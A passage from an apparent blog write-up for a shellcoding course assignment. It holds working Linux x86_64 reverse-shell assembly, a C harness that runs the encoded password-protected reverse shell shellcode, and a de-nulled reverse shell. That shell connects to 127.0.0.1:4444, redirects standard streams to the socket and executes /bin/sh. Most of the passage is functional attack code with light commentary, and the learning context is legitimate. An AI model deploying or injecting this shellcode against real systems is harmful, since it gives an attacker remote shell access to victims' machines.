    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    mov rdi, rsp        ; moving the param to rdi
                        ; rdi now contains "//bin/sh,0x0000000000000000"

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, NOT-SET-YET);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; now we need to get 0x0000000000000000 into rdx
    push r9             ; r9 is still 0x0000000000000000 so push it to rsp
    mov rdx, rsp        ; we need to move a 0x0000000000000000 into
                        ; the third parameter in rdx

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, 0x0000000000000000);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; the second parameter is needs to be "//bin/sh,0x0000000000000000"
    ; which we can accomplish by moving rdi onto the stack
    ; and then moving rsp into rsi since it will be on the stack

    push rdi            ; pushing "//bin/sh,0x0000000000000000" back to the stack
    mov  rsi, rsp       ; moving the address of rdi (on the stack) to ecx

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x00000000000000000", *"//bin/sh,0x0000000000000000", 0x0000000000000000);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    syscall             ; calling sys_execve
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-2/reverse-shell.nasm


Final C Program To Execute Shellcode (Part 1)

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 1 : Reverse Shell TCP (Linux/x86_64) Assembly
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

unsigned char code[] = \
"\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x52\xc7\x44\x24\xfc\x0a\x01\x07\x11\x80\x6c\x24\xfd\x01\x66\xc7\x44\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\xff\xff\x66\x83\x6c\x24\xf8\xfd\x48\x83\xec\x08\x48\x31\xd2\x48\x83\xc2\x10\x48\x89\xe6\x48\x83\xc0\x2a\x0f\x05\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x52\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-2/shellcode.c


Their Reverse Shell Assembly Code After We DeNulled It in x86_64 (Part 2)

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 


	xor rax, rax
	mov rdi, rax
	mov rsi, rax
	mov rdx, rax
	add rax, 41
	add rdi, 2
	inc rsi
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = inet_addr("127.0.0.1")
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax
	
	mov dword [rsp-4], 0x0101017f
	sub byte [rsp-3], 1           ; sub 1 from x.1.x.x
	sub byte [rsp-2], 1           ; sub 1 from x.x.1.x
	mov word [rsp-6], 0x5c11
	mov word [rsp-8], 0xffff     ; AF_INET - which is 0x2 but we need
                                     ; to avoid nulls to we will start with
                                     ; 0xffff and subtract 0xfffd
        sub word [rsp-8], 0xfffd     ; this will take us back to 0x02
	sub rsp, 8


	; connect(sock, (struct sockaddr *)&server, sockaddr_len)
	
	xor rax, rax
	mov rdx, rax
	add rax, 42
	mov rsi, rsp
	add rdx, 16
	syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
	xor rax, rax
        mov rsi, rax
	add rax, 33
        syscall

	xor rax, rax
	mov rsi, rax
        add rax, 33
        inc rsi
        syscall

	xor rax, rax
	mov rsi, rax
        add rax, 33
        add rsi, 2
        syscall

        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)